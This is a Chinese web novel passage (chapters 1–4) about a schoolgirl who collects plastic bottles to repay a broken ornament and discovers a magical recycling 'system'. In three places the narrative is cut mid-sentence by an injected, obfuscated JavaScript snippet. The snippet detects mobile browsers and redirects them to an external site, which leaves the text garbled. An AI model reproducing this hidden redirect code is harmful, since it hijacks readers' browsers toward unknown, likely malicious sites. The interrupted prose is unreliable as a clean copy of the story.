《我有用不完的系统》 1. 第一章 “叮铃——” 几乎是下课铃声响起的同时，高中生们一窝蜂涌出教室，扎着高马尾的吴琦月拉着同桌苏宁宁挤出人群，跑到自行车棚找单车，两人你一句我一句互相催促，说要去三条街外的商场看葫芦摆件。 还不是下班高峰期，商场里的人不算多，吴琦月和苏宁宁两身橙黑相间的校服装扮格外显眼，两人左转右转，然后走进一家卖玉石的店里。 苏宁宁指着玻璃柜一层的葫芦摆件，用胳膊肘杵吴琦月，声音有些激动： “你看你看，就是这个了，是不是和我们之前打碎的一模一样！” 吴琦月气还没喘匀，顺着手指方向去看，看到玻璃柜里摆着一件墨绿色的陶瓷葫芦摆件，葫芦精致可爱，莹润有光泽，吴琦月伸手比了比，倒是和之前摔碎的摆件大小一样。 店员姐姐把葫芦拿出来，面带微笑为她们展示：“两位好眼光，这个葫芦摆件是我们店里卖得最好的一款，你们看这做工很精致，葫芦上有个‘福’字，然后呢，托着葫芦的这个底座是全铜的，手感厚实，没有大的瑕疵也没有裂痕，整个摆件只要299元。” 299元？ “姐姐，摆件可以打折吗？” “呃，不好意思，这款葫芦摆件一直都是这个价格。” “苏宁宁你在干什么，这么讲价她肯定不会同意啊！”吴琦月扯苏宁宁衣袖，表情有点为难，299元这个价格对现在的她来说还是太高了。苏宁宁表情也同样为难，于是开口商量着： “李老师的葫芦摆件我们两个都有责任，要不是你突然吓我我也不会失手摔碎，你也看见李老师知道后有多伤心，她对我们这么好，而且教完我们这个学期就走了，以后也不一定见得上一面……” 吴琦月满脑子都是299，五官皱成苦瓜样：“我知道，只是太突然了，我现在零花钱少得可怜，有点难办。” 苏宁宁伸手捏捏身后的书包，盘算着：“好吧好吧，这件事我算主谋，你算帮凶，现在离期末就两个月了，这两个月加上我攒的零花钱，最多——最多能攒到一百多块钱，我再和我妈要一点能拿出两百。” 那就还剩下一百。吴琦月自己的零花钱攒的不多，估计就三四十块钱，但是好在家里固定一个星期能给她十块钱，这么算起来到期末也能拿出一百。 吴琦月这会儿胸有成竹，腰杆都挺直了：“那剩下的一百块钱我负责，咱们争取期末前攒够钱，买个一样的摆件赔给李老师。” 两人离开商场，互相告别，各自回家。吴琦月踩着单车穿梭在大街小巷，一边主意来往行人一边想着摆件的事。 虽然计划很完美，但她终归是不舍得一下子花出去这么多钱的，毕竟按她有钱就花的习惯，零花钱能攒到三四十实属不易，更别说要在期末前攒到一百块，她真的能做到这件事吗？ 吴琦月想着想着就开始懊恼当时怎么就这么嘴欠，明明看到苏宁宁手里拿着摆件还是忍不住上前吓她一跳。 啊啊啊啊啊烦死人了！！！ 吴琦月控制住摇摇晃晃的自行车，让它靠边直线穿过小巷子。这是她回家的必经之路，巷子三米多宽，两边开满肉档菜档，空气中混杂的味道并不好闻。有间杂货铺刚好在进货，杂七杂八的商品堆在门口，一个大爷站在路中央和店主拉扯着要拿走不用的纸箱，这下显得巷子更窄。 吴琦月轻车熟路避开过往行人，然后在准备转弯的时候看到巷子尽头有家垃圾存放站。 标识灰扑扑的，很不起眼。 垃圾存放站设置在这种地方真的合理吗？这条巷子被阳光光顾的日子屈指可数，上个月有一家鱼档老是把混着鱼鳞残渣的污水往道路上泼，那会又是雨季，天气闷的很，弄得空气中都是冲天的鱼腥味，几欲作呕，被人投诉才关店不做了。现在垃圾站设置在这么封闭的地方，时间久了真的不会蟑螂老鼠满地爬吗？ 好奇心驱使吴琦月上前查看，她捏着鼻子慢慢踩车靠近，却惊讶这个垃圾存放站一点臭味都没有。 这个垃圾存放站和其他地方的一样，墙壁挖出五十厘米宽的空间用来投放垃圾，下方还贴着垃圾分类的标识贴纸，不同的是这里的贴纸很干净，一点油烟污渍的痕迹都没有，但是看着贴上去很久了。 站点里的空间不大，光线却意外敞亮，里面摆着六个黑色的大垃圾桶，都是过腰的高度，是很常见的款式。垃圾桶全是敞开的，里面装满了空塑料瓶。 天啊这简直就是宝库啊！ 垃圾站还有个门口，没东西拦着，谁都可以进去。吴琦月从门口朝里看，发现里面除了装满塑料瓶的垃圾桶，地面上干干净净的，没有人。 那就更不对劲了。吴琦月朝前朝后看发现没人注意她，那位大爷还在和杂货铺店主扯皮要拿走纸箱子，嗓门大到这里都听得见，可是这里这么多空瓶子居然没被大爷拿走？ 吴琦月踮着脚想要看更多细节，发现除了垃圾桶，垃圾站里有面墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880428|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁挂着一个铁盒子，样式和收信箱差不多，上面写着字： 系统回收箱。 手机系统电脑系统她知道，大哥经常挂嘴边，系统学习系统复习她也知道，因为学霸二姐经常讲，但是系统回收真是闻所未闻。 不懂，估计又是什么新型名词。吴琦月选择略过，但除此之外，垃圾站里再没有其他东西了。 于是她将目光重新放回六大桶塑料瓶上。 人一旦需要用钱就会对周围可换资源进行评估，吴琦月想着一个空瓶子一分钱，这么大的垃圾桶起码能装一百多个，能换一块钱，那么六个大垃圾桶，就是六块钱，运气好能卖七块钱，要是每周都有这么多的瓶子捡，到期末能换四五十块钱呢。 想想就很开心！ 也不怪她想这些，攒钱真的太难了，虽然她当时信心满满表示期末之前能拿出一百块，但是这意味着期间什么都不能买，吴琦月对自己抵抗诱惑的能力不抱希望，毕竟她要是有这毅力，早就奋发图强考上重点高中而不是在普通高中得过且过。 身后传来大爷骂骂咧咧的声音，吴琦月赶紧靠近墙壁避开，她看着大爷提着一沓纸箱和几个空瓶子一瘸一拐走远，一点也没注意到她身边的垃圾存放站。 折腾半天也捡不了多少纸皮瓶子，看来收废品确实是件累活。吴琦月望着大爷嶙峋的背影，觉得自己如今也没到非要捡瓶子去卖的地步，于是出声告诉大爷这里面有很多瓶子没人拿走，要不要顺便带回去。 大爷回头疑惑看着吴琦月，骂了句脏话就走了。 不是？不要就不要吧，骂人干嘛呢？ 吴琦月又气又恼的，觉得大爷不识好歹，再看一眼垃圾桶的塑料瓶之后，她就骑车回家去了。 这瓶子谁爱捡谁捡，吴琦月想着最近她表现这么好，不如学苏宁宁撒撒娇让爸妈出多点钱得了，真去捡瓶子卖那得捡到地老天荒啊？ 吴琦月骑车到家楼下，锁好单车上楼，还没开门就闻到红烧肉的味道，门一打开，饭菜的香味扑面而来。 “妈妈我回来了——” 吴琦月一边换鞋，一边打腹稿准备好几种不同的说辞，或者等会儿有眼力见的主动做家务打下手，争取把老妈哄得高高兴兴的，想着今天怎么也得拿到几块钱。 没人回应。吴琦月故意把尾音拉得很长，换上拖鞋后快步走进客厅，然后看到爸爸坐在沙发上，神情严肃。 尾音戛然而止，吴琦月抿紧自己的嘴。 2. 第二章 “爸你怎么这么早回来？” 吴琦月的爸爸吴江是硬件工程师，大部分时间都是加班出差，忙起来的时候父女俩一天都见不上面，平常这个时间点他很少在家，可不知为什么，最近吴琦月放学回来总能看到他。 厨房炒菜的油溅声清晰传入耳朵，吴江这才注意到小女儿已经站在他的视线里，就抬头敷衍说了句“嗯回来了”，然后表情严肃，继续沉浸在自己的世界中。 在吴琦月印象里，爸爸吴江在家很少说话，但只要一开口多数是教育孩子，什么“好好学习”，“对你们寄予厚望”，“别让我丢脸”balabala听得她头疼脑胀，大哥已经进化到左耳进右耳出了，在爸爸吴江恨铁不成钢的目光中勉强考上大专，二姐超强人机，真的把他每一句话都记住并且执行，奋发图强考上市里的重点高中。拿到通知书那几天吴江满面春风，还办了升学宴邀请亲戚朋友们参加，给别人羡慕的呀，逢人就说二姐可太给他长脸了。 如今看到老爸答非所问的，吴琦月想，难道家里出什么大事了吗，好像也没有，大哥一如既往吊儿郎当，二姐成绩还是那么耀眼，妈妈最近老毛病犯了开始吃药治疗，而她本人在家在学校表现也挺好的，苏宁宁嘴严，打碎摆件的事情也没有捅出来，那老爸怎么还一脸愁容的？ 成年人的世界真难懂。 吴琦月放下书包就去厨房帮忙，看样子老爸那边不好要钱，还得是哄好老妈才有机会。 厨房里开着抽油烟机，妈妈李素梅戴着围裙熟练挥动锅铲炒菜心。吴琦月先一步递上蚝油，李素梅转头看着小女儿一脸笑嘻嘻的谄媚表情，心领神会，接过蚝油倒进锅里： “你又有事求我啊？” “哪有哪有，是妈妈辛苦了~”吴琦月略显做作地把蚝油瓶放回原位，然后对着装好盘的红烧肉大肆赞扬： “妈妈你看，这红烧肉色泽红润，既有焦糖色的外表，又有冰糖和葱花的点缀，我再细看，发现这肉煮得软烂却肥而不腻，瘦而不柴，还带着浓郁醇厚的香气，真是让人食欲大增，古有三碗不过岗，今有我炫三碗饭不停嘴！” 李素梅听到小女儿的话眼睛都笑弯了：“谢谢女儿的夸奖，妈妈很受用，快端出去吧，顺便叫你哥出来吃饭。” “啊我哥在家？” 李素梅点点头继续做菜，吴琦月想着大哥在家，这点肉哪够分啊，她端起红烧肉出厨房，然后发现这盘肉，好像分量比平时少了一半…… 吴琦月右眼皮狂跳。 大哥吴明朝房间紧闭，吴琦月抬手敲门：“大哥，出来吃饭。” “行行行行行，马上啊，马上！” 房间门没开，贴着门板还能听见里面传来敲键盘，激烈按鼠标的声音，看样子在玩游戏，吴琦月没管他，做完老妈交代的任务之后又屁颠屁颠跑进厨房领新任务去了。 没多久，玄关的门被打开，传来一句冷冷的“我回来了”。 吴琦月从厨房探出头，看到是二姐吴舒文，就回一句“二姐回来了”。 “嗯。” 吴舒文脸上向来都是没有表情的，她常年戴着眼镜，扎着低马尾，长相清秀，单肩背着书包，身高比吴琦月高一点。 吴琦月收回脑袋，继续在厨房里打下手，和妈妈一起把煮好的饭菜端来客厅的饭桌上。 在李素梅的催促声中，大哥吴明朝姗姗来迟，一脸贱嘻嘻地落座。 “妈，今天这肉怎么煮得这么少？”该说不说不愧是好吃懒做的大哥，一眼就看到问题之所在。 “煮得少就少吃点。”爸爸吴江表情有些不耐烦。 妈妈李素梅见着形势不对，夹了菜心给大哥吴明朝：“来来来，少吃肉多吃菜，身体才健康，不然像我一样身体不好老是吃药。” “少吃点就少吃点，跟我生什么气……”大哥吴明朝自从发现自己没有办法完成父亲吴江的期待之后就破罐子破摔，明明小时候怕吴江怕得要命，只要没考好就全身发抖害怕得失眠，现在居然都敢顶嘴了。也是，自从吴江发现妹妹吴舒文更长脸之后就再也没管过他，由他自生自灭，吴明朝巴不得这样，也由此解放天性，天天逃课打游戏，和一帮狐朋狗友鬼混。 这话说完，吴琦月眼看着老爸眉头皱起，脸色越来越黑，心想不好，我今天这么好的表现还没邀功呢，老爸你先别发火啊！ 吴琦月嘴里嚼着肉，脑子里飞快轮转好几种说法准备向李素梅讨点零花钱，结果一旁的二姐先出手了。 “爸，我有门课成绩不太行，我看高三这个学期还不算太忙，想要花钱补课冲一冲。” 不知是不是吴琦月的错觉，她看到吴江表情由愤怒秒转愁容，还伸手杵了杵正在吃饭的妈妈。 李素梅看看吴江又看看吴舒文，回应有些底气不足：“文文啊，你这么聪明的孩子，要是有什么不会的请教一下同学，啊，问一下老师，我相信都能解决，这补课班，也不是非得报……” 苍了天了，爸妈居然拒绝二姐的补课要求！吴琦月眼睛瞪得大大的，二姐吴舒文是家里最出息的孩子，考试次次都是年级前五，重点高中，年级前五什么概念，也因此二姐在家提要求没有一次爸妈不给满足的。 今天奇怪的事情真是一件接一件，吴琦月啃菜心看戏。 听了李素梅的话，二姐吴舒文没抬头，她盯着自己碗里的饭面无表情开口：“我班上没同学可以请教的，老师也就那样，请教别人太浪费时间，不如我自己花钱去补课效率高。” 一心炫饭的大哥吴明朝也开口了：“要补就补呗，家里还能差你一点补课费？” 话说完，爸妈对视一眼，叹气，接着同时放下碗筷。 大哥见状，也停下炫饭的嘴：“怎么了这是？补课费也没多少吧，家里拿不出？” 这是吴琦月第一次从父母脸上看到尴尬的表情，她发觉两位家长苍老了许多，刺眼的光线下，爸妈头发泛着白光，脸上的皱纹眼袋都很明显。 吴江坦白：“我实话实说吧，我工作没了，到现在两个月都也没找到新的工作，咱家呢，从现在开始得开源节流，既然没办法开源，就只能节流了。” 李素梅也开口：“是啊，这段时间家里比较困难，要减少不必要的支出，你们也看到了，肉菜都少买了很多，你们呐是不当家不知柴米油盐贵——” 二姐吴舒文没心情听李素梅唠叨，吃几口就说饱了，放下碗筷要回房学习。 大哥吴明朝跟没事人一样接着炫饭，连菜汁都倒进碗里，生怕吃慢了会被饿死。 吴琦月还在慢慢消化家里没收入这件事，突然听到李素梅说要停掉她接下来的每周零花钱，这才反应过来，如遭雷击：“啊？我一个星期才十块钱，没有很多的，不要啊妈妈，我正好还有想买的东西呢……” “你这刚上高一能有什么要买的东西，好好读书，学学你姐。” “哎咱家里有一个出息的就够了，妈妈妈妈亲爱的妈妈，不要停我零花钱啊……” “没得商量，之前也不是没有给你零花钱，你要是省着点用现在也能攒不少呢！” 一旁的大哥吴明朝嘿嘿嘿幸灾乐祸，被李素梅抓包： “你也别太高兴，不好好呆在学校里，每周都回来吃饭，以后生活费减半，少往你那游戏里充钱！” 吴明朝哀嚎着反抗，吴琦月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880429|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没心思嘲笑他，这顿饭食之无味。 攒钱买摆件这个计划是彻底没戏了，吴琦月本来还想着周末表现好能向爸妈撒娇要奖励，也不至于之后两个月过得紧巴巴的，什么都不敢买，结果这下好了，连每周零花钱都没了，直接完蛋了呀。 李素梅察觉女儿的不开心，问她发生什么事了，除了零花钱。 吴琦月犹豫半天，还是没能开口。 “好了都不早了，月月吃完饭快去写作业吧，碗就放着我来洗。” 哪还有心思做作业？吴琦月把课本翻来翻去，一个字都进不到脑子里，手指烦躁转着笔在发呆，一下就过去两小时，然后被李素梅喊去洗澡。 洗完澡吴琦月穿着睡衣，趴床上清数积攒的零花钱，硬币纸币零零碎碎的，数了三遍也只有33.6。 吴琦月打哈欠，忍住困意和苏宁宁聊天。 苏宁宁：【嘻嘻，我晚上和我妈撒娇，她又给了我二十块，感谢母上大人，开心黄豆人.jpg】 吴琦月撇着嘴，连发三个哭哭表情：【我家出现紧急情况，财政紧张，我不敢要钱，怕被骂。】 吴琦月向苏宁宁讲了来龙去脉。 苏宁宁：【那咋办，你答应我的要买葫芦给李老师，现在可是期中了，离期末就两个月，这次买不到就真是永远的遗憾了吴琦月啊！！！！！】 【其他人呢，找你哥哥姐姐借一下可以不？】 吴琦月：【没戏，大家都缺钱用呢，大哥生活费大半都充游戏里了，现在还被砍掉一半，正闹着要离家出走呢，二姐的钱要用来买习题册的，根本不会借给我。】 苏宁宁：【你二姐真强，你大哥，你大哥也是真牛。】 吴琦月也很着急，她一下想起那家垃圾存放点，里面的大垃圾桶装满空瓶子呢，而且还不要四处找，直接能拉去卖，想到之前还嫌弃捡废品来着，此刻她是多么后悔，那些空塑料瓶是多么耀眼多么有魅力！ 【啊啊啊啊啊短时间打散工没人要，我不如捡废品卖得了！】 苏宁宁：【你疯了吧吴琦月，我们这些脆皮战五渣哪里抢得过身强力壮的大爷阿婆？】 这也不行，那也不行，吴琦月只想逃避：【好烦，要睡了，明天再说。】 苏宁宁：【吴琦月！！！不准睡，快点想办法！！期末之前买不了葫芦摆件我就变成鬼赖你身上！】 吴琦月回她一个哭哭表情，下线，翻身上床睡觉。 那天夜里，吴琦月做梦梦见一个源源不断喷瓶子的垃圾桶，她欣喜若狂，把垃圾桶倒空了，满满一地的塑料瓶！没多久垃圾桶又被装满瓶子，如此循环，她一个一个踩扁，收拾了十多袋塑料瓶，大笑着拉去废品回收站去卖。循环往复，一个下午赚到了五十块钱，攒钱计划提前完成，她和苏宁宁凑在一起拿出三百多块钱，两人一起去商场买下摆件赔给李老师，李老师收到摆件非常开心，最后两人用剩下的钱去店里买炸鸡腿吃，太香了…… 吴琦月早晨醒来还是对这个梦很心动，准备吃了早饭去昨天的垃圾存放站看一眼。 留点瓶子给我吧，求求了…… 今天一大早吴江就出去找工作，哥哥不在家，估计回学校了，二姐关在房间里做题，李素梅买菜回来，吴琦月就找借口溜出来，踩单车进巷子。 垃圾存放站很快出现在眼前，有好几个婶婶拎着垃圾经过，却对这个垃圾存放站视而不见。 吴琦月回想当时垃圾站的异常干净，发现好像没有厨余垃圾放在那里。 她没时间思考这些，因为她看见垃圾站的大垃圾桶里都是满满的塑料瓶，和昨天一样，一共六个，居然还没有人拿走！ 3. 第三章 简直就是天降横财！ 吴琦月抑制住兴奋的情绪，把自行车停在墙边锁好。 昨天她只在门口处看着，没有进去过，现在走进垃圾站发现除了灰尘有些重之外，空气中一点臭味都没有。 墙壁上挂着的“系统回收箱”没有上锁，吴琦月顺手打开一看，里面空荡荡的，就没再管它了。 黑色垃圾桶里的塑料瓶在光线下蒙上一层灰，吴琦月伸手扫了扫，拿起一个空塑料瓶研究： “五分钟快速补充能量型饮料？没见过。” 又拿起另一个：“魅力能量水？” 吴琦月把瓶子扔地上，继续扒拉桶里的塑料瓶，发现这些饮料包装她见都没见过，五花八门什么都有，没一会儿地上全是空塑料瓶。 这时有个大姨从垃圾存放站的投放窗口路过，吴琦月迅速弯下腰躲在垃圾桶后面，心里默念看不见我看不见我，她脸皮很薄，今早做了足心理暗示，连出门都戴着口罩和帽子，包得严严实实，生怕被人认出来在捡瓶子。 大姨走后，吴琦月也没敢挺直腰，她掏出从家里带来的大塑料袋，弯着腰把地上一个个塑料瓶放气踩扁装好，然后一边分心注意门口有没有人经过，有就躲起来。 吴琦月忙活半天一看表才过了半小时，塑料瓶收拾了半桶，然而人已经累出汗了，打算坐在地上休息一下。 这时苏宁宁发信息过来问她在做什么，吴琦月正想找人一起收拾塑料瓶呢，就让她等会有空过来巷子这里的垃圾存放站看她“辛勤劳作”。 发完信息，吴琦月撸起袖子继续踩瓶子。 等她把剩下半个垃圾桶的瓶子踩扁装起来，苏宁宁就出现在门口。 “我天呐，吴琦月你真捡瓶子啊，我昨天以为你开玩笑的呢！” “你怎么找到这个地方的，我刚刚要不是认出你停在外面的单车，都没注意这里有个垃圾存放站。” “宁宁你进来帮我压一下，我要给袋子打结，好带走。”吴琦月抬手擦汗，口罩早就取下来了。 苏宁宁进来用脚踩着塑料瓶，瓶子压实了，袋子还有富余空间，吴琦月又往里塞入三四个踩扁的瓶子，确定不能再塞了，就把袋子绑好。袋子沉甸甸的，离这里最近的废品回收站有八百米远，吴琦月准备先装好三袋再拿去卖。 苏宁宁闲着也是闲着，就蹲下身帮忙装瓶子。吴琦月一边踩一边问：“宁宁，你见多识广，这些饮料是什么你知道吗？” “我看看。”苏宁宁略带嫌弃地捡起脚边一只塑料瓶，仔细看瓶子上的标识，然后摇头：“没见过，可能哪里出的新品牌吧。” 这一收拾就到了中午，巷子里来往的人越来越多，刚开始两人还会心虚的躲起来，因为怕丢脸，到后面都累得放弃了。 吴琦月重复不知多少遍踩瓶子的动作，从一开始的生疏要踩两三下才扁，到现在一气呵成，两人就像流水线的工人一样，苏宁宁拧开瓶子递给吴琦月，吴琦月一脚踩扁再拧紧瓶子，苏宁宁把拧紧的瓶子放进大塑料袋中，两人配合默契，很快清空了三大桶塑料瓶。 “怎么攒了这么多塑料瓶啊，快打开数数有多少个。”废品回收站的大叔把袋子解开，把塑料瓶倒出来，吴琦月和苏宁宁看着大叔数瓶子，最后换到了3.5块钱。 吴琦月把钱揣兜里，推着单车和苏宁宁并排走着，她听苏宁宁在抱怨：“以前我总说不读书了可以去捡废品，可真让我捡的时候，发现忙活半天，还不够我们买水喝的，这挣钱方法太累人，我不干了，我要读书，我要狠狠读书，把书读烂！” “苏宁宁我信你个鬼。” “吴琦月我可提醒你嗷，这种瓶子等着你捡的机会可不是天天有的，剩下的塑料瓶最多最多能换四块钱，那以后呢，总不能真和大爷大姨抢废品吧，你不上学啦？” 吴琦月也知道捡瓶子不现实，但是眼下没有挣钱的方法，只能把希望寄托在老爸吴江身上，如果爸爸找到新工作了，她就又有零花钱可以用了。 两人在十字路口分道扬镳，苏宁宁表示下午她要在家修身养性，不过来了，吴琦月摆摆手说谢谢她上午过来帮忙，然后被苏宁宁踢了一脚。 “我们俩出生到现在，十几年的交情，谢什么谢。” 吴琦月误判了时间，回家吃午饭晚了，李素梅没有责怪她。今天依旧是肉少人多，大家在沉默中吃自己的饭，吴琦月早上体力消耗快，还因为背着家里人捡瓶子卖有点心虚，吃饭狼吞虎咽的，差点被吴江察觉不对劲。 饭后大家都在午睡，吴琦月偷偷溜出来，准备把剩下的三大桶塑料瓶收拾好拿去卖。 午后的巷子很冷清，菜贩子都闲得打鼾，吴琦月专心致志踩瓶子，突然从身后传来物品掉落的声音。 声音沉闷却没法忽视，吴琦月转头去看，只看到挂在墙壁上的“系统回收箱”，上午她进来的时候打开看过，里面空的什么都没有。吴琦月鬼使神差伸手再次打开盖子，却看到里面有颗鸡蛋大小，硅胶质感，发着丝丝蓝光的——球？ 吴琦月把这颗怪东西掏出来，拇指刚接触怪球的表面，球就发出刺眼的白光，接着她眼前出现了一大块蓝色虚拟电子屏，把她吓了一跳。 【系统已激活】 没有感情的机械声在脑海中响起。 吴琦月捡起瓶子往蓝色屏幕扔去，瓶子毫无悬念的穿过电子屏幕。 “学校外面的世界究竟进化到哪种地步了，这种高科技产品都能被扔到垃圾存放站？” “还有，刚刚谁在说话？” 【系统加载中，请耐心等候。】 不多时，蓝色屏幕里出现一个塑料瓶加载条，左边源源不断的出现瓶子，滚动到右边变成一个个硬币。 等等，有点可爱。 等加载条跑完，蓝色屏幕弹出一个框框： 【是否绑定系统进行体验？是□否□】 吴琦月正处于好奇心重的年龄段，她伸手点了是后面的框框，接着手心里的发光怪球消失不见了。 【用户绑定成功，开始体验。】 【亲爱的用户007003你好，这里是回收塑料瓶系统（测试版），我们将收留一切完美的空塑料瓶，不论大瓶子，小瓶子，黑瓶子，透明瓶子，只要是完美的塑料瓶我们都一视同仁进行回收。】 “噢噢，然后呢？”吴琦月若有所思，这不就是便携式废品回收站吗，有什么奇特的。 【请注意：一，此为测试版系统，操作蓝屏任何人可见，事不过三，超过三个人知道系统的存在，系统就会自动解绑消失； 二，将回收塑料瓶系统升级至最高档兑换率（1：1）后，系统将进入十天倒计时，期间回收瓶子的数量不限，十天倒计时结束后，系统会一切清零，重置升级并且解绑消失，请及时取出你的血汗钱。当前系统重置次数为：163。 三，若用户发生意外，或者用户连续十日没有回收塑料瓶，将视为用户主动与系统解绑，届时塑料瓶回收系统会自动消失，感谢使用。】 兑换率1：1，一个塑料瓶换一块钱，天哪，上午收废品大叔一个瓶子才换一分钱，要是能升级到这一档得多爽，六大桶塑料瓶怎么也能换到六七百块钱的。 吴琦月越想越美，什么葫芦摆件都不在话下，努努力甚至能给出钱给二姐报个一对一补习班。 蓝色屏幕闪烁着刷新，吴琦月看到新的画面： 蓝色屏幕右上角显示余额4.83，屏幕中央有个大塑料瓶，瓶身标着数字——473，瓶子里有水在晃动，瓶子下方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880430|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几行字，依次是 当前兑换率□□1：0.01 当前回收量□□473/1000 下阶段兑换率□□1：0.1 “当前兑换率1：0.01，一个瓶子一分钱，那不就和早上卖废品的价格一样吗？”吴琦月有些失望，她还以为真的找到什么宝藏了呢，她接着点开右上角的余额，发现能提现的只有一毛钱。 【剩余4.73需要等用户升级至下一兑换档才可以提现。】 这条件也太苛刻了吧！不敢想那163个人怎么做到的。 “算了算了，我先看看还要回收多少个塑料瓶才能升级……当前回收量473/1000，也就是说还需要，需要527个塑料瓶才能升级兑换档，等等，等等等等，这个垃圾存放站原来是不是有六大桶装的满满的塑料瓶来着？” 吴琦月突然意识到什么，张大嘴巴愣住了，片刻后镇定下来，开始哄自己：“不慌，还好早上只卖了一半，不慌不慌，我面前还有很多塑料瓶可以回收。” 呜呜呜呜呜呜…… 吴琦月按照系统提示拿起被踩扁的塑料瓶。 【无法辨认，请拿起空塑料瓶。】【无法辨认，请拿起空塑料瓶。】 吴琦月心里暗叫不好，她把瓶子拧开敲打复原，然后再次拿起来给系统辨认。 【检测到塑料瓶】【进行回收】【回收失败】【失败原因：瓶子太脏】【请拿起空塑料瓶】 怎么就不能用了？吴琦月感觉自己被戏弄了，但又回想起刚开始的系统介绍：“它说回收一切完美的塑料瓶，总不会是……” 吴琦月左看右看，从大垃圾桶里挑出来出一个干净的没有被压扁的空瓶子放在手心，神奇的事情发生了，空瓶子瞬间消失。 【检测到塑料瓶】【进行回收】【回收成功】 【噢，上帝啊，这可真是一个完美的塑料瓶。】 …… 【余额4.83+0.01，当前余额4.84】 空瓶子化作一滴水滴进蓝色屏幕里的大塑料瓶中，吴琦月看到瓶子里水面波动着，好像真的上升了一点点。 ！！！！！ 她回想早上那些被踩扁的瓶子和面前散落一地还没收拾的残局，只感觉心在滴血，要是早点发现这个系统就好了，收完这六大桶塑料瓶，妥妥就能升级开启兑换率1：0.1的回收池啊！ 我的钱啊—— 吴琦月内心在哀嚎，所以她今天那么辛苦地踩瓶子算什么，算她闲得发慌吗？ 她气得手抖，想要退出这个神秘系统，却看到屏幕左下角有个评价区，五颗星只亮了半颗，吴琦月点进去看，里面几乎一水的差评： 用户006799：【我没管住嘴，我反思。】赞30 用户005224：【我这里的塑料瓶不好找，我也拉不下脸捡瓶子，放弃了。】赞197 用户003322：【此乃何物，用来作甚？】赞1995 用户002999：【嗷呜～嗷呜～（系统语音翻译：我看不懂。）】赞2999 用户002000：【挺好玩的，呵呵。】赞3321 用户001336：【神金，有这点时间，我不如去拧螺丝。】赞2863 用户001001：【不愧是测试版系统，功能太智障了，我用机械手去拿居然说不能识别，必须要接触人体掌心，我服了啊，你猜我为什么用机械手呢？】赞2947 用户000001：【□□（粗俗词语不予显示）系统，浪费我时间，深夜计算了一下，就算把系统升到满级，最多也只能拿几万块钱而已，你逗我玩呢？滚！】赞4948 “吴琦月你在干嘛呢？”苏宁宁突然探头进来。 4. 第四章 吴琦月正聚精会神看评论，就这么被苏宁宁吓一跳，手忙脚乱想要遮住系统界面，可惜于事无补。 【警告，系统已被两人发现，若超过三人发现系统的存在，系统会自动解绑，请用户小心体验。】 “你听见了吗，刚刚好像有谁在说话？”苏宁宁环顾四周，只看到吴琦月一脸尴尬的表情，以及面前漂浮着一块蓝色透明屏幕，上面正在滚动反过来的字体，她依稀辨认出“三人”“小心”几个词，反应过来自己好像闯祸了。 苏宁宁小心翼翼靠近：“我是不是做错事了……” “这可不能全怪我，是我发信息你没回，所以我才过来看看，真不是故意的。” “对不起嘛——” “你给我发信息了？”吴琦月掏出手机点开，确实看到几条四十分钟前发来的消息，打开一看：【在干嘛呢？】【演唱会门票.jpg】【叮叮，两张演唱会门票，明天要不要一起去？】 吴琦月懊恼地把手机收好，然后将身旁的塑料瓶推开，腾空一个位置叫苏宁宁坐过来：“哎，不用道歉，现在再怎样也不会更糟糕了。” 苏宁宁满脸好奇，吴琦月示意她先别问，随手拿起一只空塑料瓶放在在手心，下一秒，塑料瓶消失不见。 【检测到塑料瓶】【进行回收】【回收成功】 【噢，上帝啊，这可真是一个完美的塑料瓶。】 【余额4.84+0.01，当前余额4.85。】 苏宁宁嘴巴慢慢张成O型，她惊呆了。 吴琦月把发现系统的前因后果告诉苏宁宁，苏宁宁脸上的表情由惊吓到惊喜再到肉痛： “你是说这六大桶塑料瓶不拿去卖早就能升级了？” 吴琦月点头：“昂。” “那早上我们这么辛苦地收拾瓶子？” 吴琦月点头：“昂。” “然后这里一地被踩扁的瓶子？” 吴琦月点头：“昂。” 苏宁宁扶额：“别昂了，我现在心也好痛，就像平白无故被人扇了一巴掌一样。” 吴琦月反倒安慰苏宁宁：“那不至于，还是被扇巴掌痛一点。” “那怎么办，这里能满足系统回收的顶多只有一百来个，还差三百个塑料瓶也不好找啊。” 吴琦月认真分析：“人多的地方总归是好找的，比如商场？公园？学校？” 苏宁宁眼睛一亮：“体育课啊！肯定少不了人买水喝的，还有运动会！学校一年办一次的运动会，不过今年要等两星期后呢，到时候这么多人参加肯定能收到塑料瓶！” 这话一听，吴琦月瞬间思路打开，她想起苏宁宁发来的短信：“还有演唱会！演唱会啊！人再多也比不上演唱会人多吧。” 